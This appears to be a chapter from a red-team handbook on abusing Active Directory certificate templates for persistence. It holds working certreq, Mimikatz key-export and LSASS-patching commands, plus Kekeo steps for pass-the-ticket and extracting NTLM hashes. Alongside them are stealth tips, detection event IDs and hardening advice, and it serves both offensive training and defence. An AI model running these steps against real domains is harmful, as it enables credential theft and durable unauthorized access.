Skip to content

Chapter 37: PKI - Certificate Templates

Introduction

If the Certificate Authority is the "engine" of a PKI, then certificate templates are the "blueprints." They define who can get a certificate, what that certificate can do, and how long it lasts. In the previous chapter, we talked about the catastrophic impact of compromising the CA itself. But in many cases, you don't need to break into the engine room to get what you want. You just need to find a blueprint that has been left lying around with the wrong permissions.

In my experience, the default "User" certificate template is one of the most reliable ways to gain persistence in a domain. Why? Because by default, AD CS allows any authenticated domain user to request a certificate that is valid for client authentication. Once you have this certificate, you have a legitimate, signed identity that survives password resets and MFA changes. It's a clean, quiet way to keep a foot in the door without needing to forge anything.

In this chapter, we're going to look at the architecture of certificate templates and how to enumerate them using native tools like certutil and PowerShell. We'll walk through the process of requesting a certificate via certreq, exporting it, and using it for PKINIT authentication. We'll also cover extracting NTLM hashes from certificates using the U2U technique. Finally, we'll discuss the detection signatures—like the mass enrollment of certificates—and the hardening steps you can take to ensure your templates aren't becoming an attacker's favorite persistence tool.

Technical Foundation: The Blueprint Logic

Certificate Template Architecture

Templates are stored in the Configuration partition of Active Directory. This means every domain controller in the forest knows about them, and they replicate across the entire forest.

Location: CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=...

Each template is an AD object with attributes that define its behavior:

Attribute Purpose
pKIExtendedKeyUsage Defines what the certificate can be used for (Client Auth, Server Auth, Code Signing, etc.)
msPKI-Certificate-Name-Flag Determines how the subject name is constructed
msPKI-Enrollment-Flag Controls enrollment behavior and requirements
msPKI-Private-Key-Flag Specifies private key handling (exportable, archive, etc.)
msPKI-RA-Signature Number of required enrollment agent signatures (0 = auto-issue)
pKIExpirationPeriod How long the certificate remains valid
pKIOverlapPeriod How early before expiration a renewal can occur

The "User" Template Trap

The User template is included with every AD CS installation. It's designed for email encryption and client authentication, but it's also a persistence goldmine.

Why it matters: - The EKU: It includes the Client Authentication (1.3.6.1.5.5.7.3.2) OID. This is exactly what we need for Kerberos PKINIT. - The Permissions: By default, "Authenticated Users" or "Domain Users" have the "Enroll" permission. If you have a low-privilege shell, you can get a certificate. - The Validity: It usually lasts for one year. That's 365 days of persistence from a single command. - No Approval: The msPKI-RA-Signature attribute is typically 0, meaning the CA auto-issues without human review.

Certificate Stores in Windows

Microsoft stores certificates in what are called "stores," with each store serving a specific purpose. Understanding stores is critical for locating and exporting certificates.

System Store Types:

System Store Location Description
CURRENT_USER HKEY_CURRENT_USER Certificates for the current user (enrolled or imported)
USER_GROUP_POLICY User GPO Certificates enrolled via GPO at logon
LOCAL_MACHINE HKEY_LOCAL_MACHINE Computer-specific certificates
LOCAL_MACHINE_GROUP_POLICY Machine GPO Certificates pushed via GPO at startup
LOCAL_MACHINE_ENTERPRISE Enterprise NTAuth CA trust store for smart card logon
CURRENT_SERVICE Service context Certificates for the current service account
SERVICES All services Certificate stores for all services with certificates

Common Store Names:

  • My - Personal certificates
  • Root - Trusted root CAs
  • CA - Intermediate CAs
  • Trust - Trusted certificates
  • TrustedPublisher - Trusted publishers for code signing

Key Certificate Attributes

When examining a certificate with Mimikatz, these fields are critical for attack planning:

Field Significance
Subject The object the certificate was issued to
Issuer The CA that signed it (DN of the CA)
Serial Unique identifier for the certificate
UPN User Principal Name from the Subject Alternative Name (SAN)
Validity Start and end dates
Provider The cryptographic provider handling the keys
Exportable key Whether the private key can be exported

Command Reference

Template Enumeration with certutil

The certutil.exe utility is a native Windows tool for certificate management. It's available on every Windows system and leaves minimal forensic traces.

Basic Template Enumeration:

certutil -CATemplates

This lists every template the CA is currently offering along with who can enroll.

certutil Template Enumeration

Parameters for certutil -CATemplates:

Parameter Description
-config <CA> Specify a particular CA (format: CAServer\CAName)
-v Verbose output with full security descriptors
-user Use user context (default)
-mt Display template information in machine context

Additional certutil Commands:

Command Description
certutil -dump Display certificate details
certutil -store My List certificates in the personal store
certutil -user -store My List user certificates in personal store
certutil -scinfo List smart card certificates
certutil -delkey -csp "provider" "container" Delete a key container

Template Enumeration with PowerShell

For more targeted enumeration, PowerShell allows us to query AD directly for templates with specific characteristics.

Find Templates Allowing Client Authentication Without Approval:

$configurationContainer = ([adsi] 'LDAP://RootDSE').Get('ConfigurationNamingContext')
$searcher = [adsisearcher]"(&(objectClass=pKICertificateTemplate)(msPKI-Enrollment-Flag:1.2.840.113556.1.4.804:=8)(|(pKIExtendedKeyUsage=1.3.6.1.5.5.7.3.2)(pKIExtendedKeyUsage=1.3.6.1.4.1.311.20.2.2)))"
$searcher.SearchRoot = [adsi]"LDAP://$configurationContainer"
$searcher.FindAll()

LDAP Filter Breakdown:

Filter Component Meaning
objectClass=pKICertificateTemplate Only certificate templates
msPKI-Enrollment-Flag:1.2.840.113556.1.4.804:=8 Auto-enrollment enabled
pKIExtendedKeyUsage=1.3.6.1.5.5.7.3.2 Client Authentication EKU
pKIExtendedKeyUsage=1.3.6.1.4.1.311.20.2.2 Smart Card Logon EKU

Certificate Request with certreq

The certreq.exe utility handles certificate enrollment via RPC to the CA.

Request a User Certificate:

certreq -enroll -user -q User

certreq Certificate Request

Parameters for certreq:

Parameter Description
-enroll Submit an enrollment request
-user Use user context (vs. machine)
-q Quiet mode (no prompts)
-config <CA> Specify CA (format: CAServer\CAName)
-attrib "CertificateTemplate:<name>" Specify template by name
-f Force overwrite of existing certificate

Successful Enrollment Output:

Active Directory Enrollment Policy
  {GUID}
  ldap:
The operation completed successfully.
RequestId = 5
CAServer.domain.com\CAName
Serial Number: <hex>
<thumbprint>
Key Container Name: <container>
    The requested certificate has been issued.

Certificate in Personal Store

Mimikatz Certificate Commands

crypto::stores - List Certificate Stores

Parameters for crypto::stores:

Parameter Description
/systemstore:<store> System store to enumerate (default: CURRENT_USER)

Valid System Store Values:

  • CURRENT_USER or CERT_SYSTEM_STORE_CURRENT_USER
  • LOCAL_MACHINE or CERT_SYSTEM_STORE_LOCAL_MACHINE
  • LOCAL_MACHINE_ENTERPRISE or CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE
  • CURRENT_SERVICE or CERT_SYSTEM_STORE_CURRENT_SERVICE
  • SERVICES or CERT_SYSTEM_STORE_SERVICES
  • USERS or CERT_SYSTEM_STORE_USERS
  • USER_GROUP_POLICY or CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY
  • LOCAL_MACHINE_GROUP_POLICY or CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY

Example:

mimikatz # crypto::stores /systemstore:current_user
Asking for System Store 'current_user' (0x00010000)
 0. My
 1. Root
 2. Trust
 3. CA
 4. UserDS
 5. TrustedPublisher
 ...

crypto::certificates - List and Export Certificates

Parameters for crypto::certificates:

Parameter Description
/systemstore:<store> System store to use (default: CURRENT_USER)
/store:<name> Certificate store name (default: My)
/export Export certificates to files (DER for public, PFX for private)
/silent Abort if user interaction is required (important for smart cards!)
/nokey Don't attempt to access private key

Example - List User Certificates:

mimikatz # crypto::certificates /systemstore:current_user /store:My
 * System Store  : 'current_user' (0x00010000)
 * Store         : 'My'

 0. Carlos Perez
    Subject  : DC=pvt, DC=acmelabs, CN=Users, CN=Carlos Perez
    Issuer   : DC=pvt, DC=acmelabs, CN=LabRootCA1
    Serial   : 090000000000a9b46a2843d1346c0900000018
    UPN      : cperez@acmelabs.pvt
    Hash SHA1: 59c372f91061180b220de263ce65ec6bc3d69e97
        Key Container  : cfd7846d7ec1ce69798715236c644571_...
        Provider       : Microsoft Enhanced Cryptographic Provider v1.0
        Exportable key : NO

Critical Tip: Always check for smart card presence with crypto::sc before listing certificates. If a smart card is present and you don't use /silent, a PIN prompt may appear and lock your agent.

Example - Export Certificates:

mimikatz # crypto::capi
Local CryptoAPI RSA CSP patched
Local CryptoAPI DSS CSP patched

mimikatz # crypto::certificates /export

crypto::capi - Patch CryptoAPI for Export

This command patches the local CryptoAPI providers in memory to allow exporting private keys marked as non-exportable.

No parameters - simply run:

mimikatz # crypto::capi
Local CryptoAPI RSA CSP patched
Local CryptoAPI DSS CSP patched

Providers Affected (CryptoAPI-based):

  • Microsoft Base Cryptographic Provider v1.0
  • Microsoft Enhanced Cryptographic Provider v1.0
  • Microsoft Strong Cryptographic Provider
  • Microsoft Base Smart Card Crypto Provider
  • Microsoft RSA SChannel Cryptographic Provider
  • Microsoft Enhanced RSA and AES Cryptographic Provider

crypto::cng - Patch CNG for Export

For certificates using CNG (Cryptography API: Next Generation) providers, we need to patch the KeyIso service in LSASS.

Requirements:

  • Debug privilege or SYSTEM context
  • Write access to LSASS memory
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # crypto::cng
"KeyIso" service patched

Providers Affected (CNG-based):

  • Microsoft Software Key Storage Provider
  • Microsoft Smart Card Key Storage Provider
  • Microsoft Platform Crypto Provider

IOC Alert: Patching CNG generates Event ID 4663 (Kernel Object Access) if auditing is enabled, and Sysmon will log LSASS access with PROCESS_VM_WRITE.

Kekeo Commands for Certificate Authentication

tgt::ask - Request TGT with Certificate

Parameters for tgt::ask:

Parameter Description
/subject:<UPN> UPN of the certificate to use
/pfx:<file> Path to PFX file containing certificate and private key
/pfxpassword:<pass> Password for the PFX file
/caname:<CA> CA name if using local store certificate
/ptt Pass the ticket (inject into current session)
/domain:<FQDN> Target domain
/dc:<server> Specific domain controller

Example - TGT with User Template Certificate:

kekeo # tgt::ask /subject:user /ptt

Kekeo TGT Request with Certificate

Example - TGT with PFX File:

kekeo # tgt::ask /subject:alice@corp.acme.com /pfx:alice.pfx /ptt

tgt::pac - Extract NTLM Hash from Certificate

This is the U2U (User-to-User) technique. By requesting a service ticket to yourself using your certificate, the KDC includes your PAC (Privilege Attribute Certificate) which contains your NTLM hash.

Parameters for tgt::pac:

Parameter Description
/subject:<UPN> UPN of the certificate to use
/cred Extract credentials (NTLM hash) from PAC
/pfx:<file> Path to PFX file
/pfxpassword:<pass> Password for PFX
/domain:<FQDN> Target domain
/dc:<server> Specific domain controller

Example:

kekeo # tgt::pac /subject:bthomas@acmelabs.pvt /cred
Realm        : acmelabs.pvt (acmelabs)
User         : bthomas@acmelabs.pvt (bthomas)
CName        : bthomas@acmelabs.pvt     [KRB_NT_ENTERPRISE_PRINCIPAL (10)]
SName        : krbtgt/acmelabs.pvt      [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : RSA
[kdc] name: SDDC01.acmelabs.pvt (auto)
[kdc] addr: 10.1.1.4 (auto)
  [0] NTLM
  NTLM: 7a118f7a2f2b34d61fa19b840b4f5203

Attack Scenarios

Scenario 1: The Redundant Access

I often use this during engagements to ensure I don't lose access if my primary C2 is discovered. Here's the workflow:

  1. Enumerate templates available to Domain Users
  2. Request User certificates for five or six different compromised accounts
  3. Export each certificate to PFX files
  4. Store them securely off the target network

Even if IT catches one compromised account and resets the password, I still have five other legitimate, signed identities waiting. Certificates survive password resets because PKINIT doesn't use the account's password at all.

Scenario 2: Credential Harvesting via U2U

Remember the U2U trick we covered in Chapter 35? You can use a certificate obtained from the "User" template to extract the account's NTLM hash. This allows you to perform an "offline password strength audit" (cracking) without ever having to touch LSASS or trigger an EDR alert for credential dumping.

The workflow: 1. Request a User certificate: certreq -enroll -user -q User 2. Use tgt::pac /subject:user /cred to extract the NTLM hash 3. Crack offline or use for Pass-the-Hash

Scenario 3: Template Abuse for Privilege Escalation (ESC1)

If you find a template where the subject name can be specified in the request (the ENROLLEE_SUPPLIES_SUBJECT flag is set), you can request a certificate for any user, including Domain Admins.

Detection:

# Find templates with ENROLLEE_SUPPLIES_SUBJECT
$config = ([adsi]'LDAP://RootDSE').Get('ConfigurationNamingContext')
$searcher = [adsisearcher]"(&(objectClass=pKICertificateTemplate)(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1))"
$searcher.SearchRoot = [adsi]"LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$config"
$searcher.FindAll() | ForEach-Object { $_.Properties.cn }

Detection - The SOC View

Certificate Issuance Monitoring

  1. CA Event ID 4887 (Certificate Services issued a certificate): This is your primary indicator. Monitor this on your CA servers. Look for:

  2. Sudden spikes in issuance for the "User" template

  3. Certificates issued to service accounts that shouldn't have them
  4. Multiple certificates issued to the same user in a short window

  5. Event ID 4886 (Certificate Services received a certificate request): Track who's requesting certificates.

Authentication Monitoring

  1. Event ID 4768 (Kerberos TGT requested): Look for PreAuthType 16 (PKINIT). If a user who never uses a smart card suddenly starts authenticating with PKINIT, investigate.

  2. Event ID 4769 (Kerberos service ticket requested): After PKINIT authentication, monitor for unusual service access patterns.

Enumeration Detection

  1. LDAP Monitoring: Watch for LDAP queries targeting pKICertificateTemplate objects, especially from non-admin workstations. This indicates template reconnaissance.

Certificate Export Detection

  1. Event ID 1006 (Microsoft-Windows-CertificateServicesClient-AutoEnrollment/Operational): Generated when certificates are enrolled via auto-enrollment or certreq.

  2. Event ID 4663 (Object Access): If Kernel Object auditing is enabled, CNG patching will generate this event.

  3. Sysmon Event ID 10 (Process Access): LSASS access with PROCESS_VM_WRITE indicates CNG patching.

Defensive Strategies

  1. Harden Enrollment ACLs: Remove "Authenticated Users" and "Domain Users" from the enrollment ACL of the User template. Create a specific security group for users who actually need these certificates.

  2. Enable Manager Approval: For any template that allows Client Authentication, enable "CA certificate manager approval" (msPKI-RA-Signature > 0). This forces human review before issuance.

  3. Reduce Validity Period: Change the User template validity from 1 year to 90 days or less. This shrinks the persistence window significantly.

  4. Disable ENROLLEE_SUPPLIES_SUBJECT: Never allow requesters to specify their own subject name on templates with authentication EKUs. This is ESC1.

  5. Monitor Template Modifications: Alert on changes to certificate templates via Event ID 4899 (Certificate Template Security changed).

  6. Audit Certificate Enrollment: Enable auditing on your CAs and collect Event IDs 4886, 4887, 4888, and 4889.

  7. Use Certify/PSPKI for Audits: Regularly scan your templates for misconfigurations using tools like Certify, Certipy, or the PSPKI PowerShell module.

  8. Segment CA Servers: Treat your CA servers as Tier 0 assets, equivalent to domain controllers. Restrict administrative access severely.

Certificate Template Vulnerability Comparison

The security research community has cataloged several "Escalation Scenarios" (ESC) related to certificate templates:

ESC Name Vulnerability Exploitation
ESC1 Misconfigured Certificate Templates Template allows requesters to specify SAN Request cert for DA, authenticate as them
ESC2 Misconfigured Certificate Templates Template has dangerous EKU (Any Purpose) Request cert, use for any authentication
ESC3 Misconfigured Enrollment Agent Templates Enrollment agent + template allows impersonation Request cert on behalf of any user
ESC4 Vulnerable Certificate Template ACLs Low-priv users can modify template Modify template, then exploit via ESC1
ESC7 Vulnerable CA ACLs Low-priv users have ManageCA rights Take over CA configuration
ESC8 NTLM Relay to AD CS HTTP Endpoints Web enrollment vulnerable to relay Relay machine account, get cert for DC

Operational Considerations

  1. Pre-Check for Smart Cards: Before running crypto::certificates, always run crypto::sc to check for smart card readers. If one is present, use the /silent flag to avoid locking your agent with a PIN prompt.

  2. Certificate Persistence Timing: User certificates are valid for 1 year by default. Plan your engagement timeline accordingly. If the engagement extends beyond a year, you'll need to re-enroll.

  3. Export Before You Lose Access: Always export certificates to PFX files immediately after enrollment. If you lose shell access, you lose the ability to use the certificate unless you've exported it.

  4. CryptoAPI vs CNG: Check the Provider field in the certificate details. If it says "Microsoft Software Key Storage Provider" or any CNG provider, you'll need crypto::cng (which touches LSASS). If it's a CryptoAPI provider, use crypto::capi (less noisy).

  5. Clean Up After Yourself: In red team operations, consider whether you want to leave enrolled certificates. They can be traced back to your activities. However, deleting them also leaves logs.

  6. PFX Password: When Mimikatz exports a PFX, the default password is mimikatz. Change this for operational security.

Practical Lab Exercises

  1. The Discovery: List all templates available on your lab CA using certutil -CATemplates. Find one that allows Domain Users to enroll. Note the EKU and approval requirements.

  2. The Request: Use certreq -enroll -user -q User to get a certificate for your lab user. Verify it's in your store with certutil -user -store My. Note the serial number and thumbprint.

  3. The Export:

  4. Run crypto::capi to patch the export restrictions
  5. Run crypto::certificates /export to export to PFX
  6. Move the PFX file to a safe location

  7. The NTLM Harvest: Using Kekeo, run tgt::pac /subject:user /cred to extract the NTLM hash from your certificate. Compare with the hash in LSASS.

  8. The Pivot: Export that certificate to a PFX, move it to another machine, and use Kekeo to get a TGT with tgt::ask /subject:user /pfx:user.pfx /ptt. Verify with klist.

  9. The Fix: Enable manager approval on the User template in your lab and try to enroll again. Note the "Pending" status and check the CA's pending requests queue.

  10. The Template Hunt: Use PowerShell to find all templates with the ENROLLEE_SUPPLIES_SUBJECT flag. These are your ESC1 candidates.

Summary

Certificate templates are often the weakest link in a domain's PKI.

  • Default templates like "User" are overly permissive and allow any domain user to obtain client authentication certificates.
  • certreq is a powerful, native tool for certificate enrollment that leaves minimal traces.
  • certutil and PowerShell provide comprehensive enumeration of available templates and their permissions.
  • Persistence obtained through templates is highly resilient, surviving password resets and MFA changes for up to one year.
  • U2U (tgt::pac) allows extraction of NTLM hashes from certificates without touching LSASS.
  • ESC vulnerabilities (ESC1-ESC8) represent systematic weaknesses in AD CS deployments.
  • Detection requires CA-level logging and monitoring for PKINIT authentication anomalies.
  • Hardening requires restrictive ACLs, human approval workflows, and regular template audits.

Next: Chapter 38: PKI - Mustiness Previous: Chapter 36: PKI - Abusing Certificate Authorities